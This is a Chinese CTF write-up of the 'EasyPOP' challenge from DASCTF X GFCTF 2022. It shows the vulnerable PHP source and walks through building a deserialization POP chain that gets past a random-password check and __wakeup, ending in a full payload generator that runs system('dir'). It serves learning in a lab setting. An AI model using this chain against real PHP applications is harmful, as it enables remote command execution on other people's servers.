[DASCTF X GFCTF 2022十月挑战赛]EasyPOP

[DASCTF X GFCTF 2022十月挑战赛]EasyPOP

考点:POP链构造

<?php
highlight_file(__FILE__);
error_reporting(0);

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}

class show
{
    public $ctf;
    public $time = "Two and a half years";

    public function __construct($ctf)
    {
        $this->ctf = $ctf;
    }


    public function __toString()
    {
        return $this->ctf->show();
    }

    public function show(): string
    {
        return $this->ctf . ": Duration of practice: " . $this->time;
    }


}

class sorry
{
    private $name;
    private $password;
    public $hint = "hint is depend on you";
    public $key;

    public function __construct($name, $password)
    {
        $this->name = $name;
        $this->password = $password;
    }

    public function __sleep()
    {
        $this->hint = new secret_code();
    }

    public function __get($name)
    {
        $name = $this->key;
        $name();
    }


    public function __destruct()
    {
        if ($this->password == $this->name) {
            echo $this->hint;
        } else if ($this->name = "jay") {
            secret_code::secret();
        } else {
            echo "This is our code";
        }
    }


    public function getPassword()
    {
        return $this->password;
    }

    public function setPassword($password): void
    {
        $this->password = $password;
    }


}

class secret_code
{
    protected $code;

    public static function secret()
    {
        include_once "hint.php";
        hint();
    }

    public function __call($name, $arguments)
    {
        $num = $name;
        $this->$num();
    }

    private function show()
    {
        return $this->code->secret;
    }
}


if (isset($_GET['pop'])) {
    $a = unserialize($_GET['pop']);
    $a->setPassword(md5(mt_rand()));
} else {
    $a = new show("Ctfer");
    echo $a->show();
}

pop传参进行反序列化操作

构造POP链:

入口是sorry类中的__destruct方法,如果sorry类中的namepassword属性相等就会调用echo $this->hint操作,如果将hint赋值为show类即可调用它的__toString方法

但是源码中调用了

$a->setPassword(md5(mt_rand()));

这个操作,给password设置了一个随机md5加密值,使用取地址&方法绕过(类似于C语言中的取地址)

class sorry
{
    private $name;
    private $password;
    public function __construct()
    {
        $this->name = &$this->password;
        $this->password = 1;
    }
}

此时的链子已经到了show类中的__toString方法,

public function __toString()
{
    return $this->ctf->show();
}

将ctf属性赋值为secret_code类即可调用secret_code类的show方法

$secret_code = new secret_code($s2);
$show = new show();
$show->ctf = $secret_code;

show()方法

private function show()
{
    return $this->code->secret;
}

code赋值为sorry类即可调用sorry类中的__get方法

__get方法

public function __get($name)
{
    $name = $this->key;
    $name();
}

key属性赋值为fine类即可调用fine类中的__invoke方法

public function __invoke()
{
    call_user_func($this->cmd, $this->content);
}

链子到这结束。

完整的POP链

sorry::__destruct->show::__toString->secret_code::show->sorry::__get->fine::__invoke

在调用最后一步时,还需要绕过_wakeup

class fine
{
    private $cmd;
    private $content;

    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }

    public function __invoke()
    {
        call_user_func($this->cmd, $this->content);
    }

    public function __wakeup()
    {
        $this->cmd = "";
        die("Go listen to Jay Chou's secret-code! Really nice");
    }
}

完整的Payload

<?php
class fine
{
    private $cmd;
    private $content;
    public function __construct($cmd, $content)
    {
        $this->cmd = $cmd;
        $this->content = $content;
    }
}

class secret_code
{
    protected $code;
    public function __construct($code)
    {
        $this->code = $code;
    }
}

class show
{
    public $ctf;
}

class sorry
{
    private $name;
    private $password;
    public function __construct()
    {
        $this->name = &$this->password;
        $this->password = 1;
    }
}
$s2 = new sorry();
$s2->key = new fine('system','dir');
$secret_code = new secret_code($s2);
$show = new show();
$show->ctf = $secret_code;
$sorry = new sorry();
$sorry->hint = $show;
$strs = str_replace("fine\":2","fine\":3", serialize($sorry));
echo urlencode($strs);
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值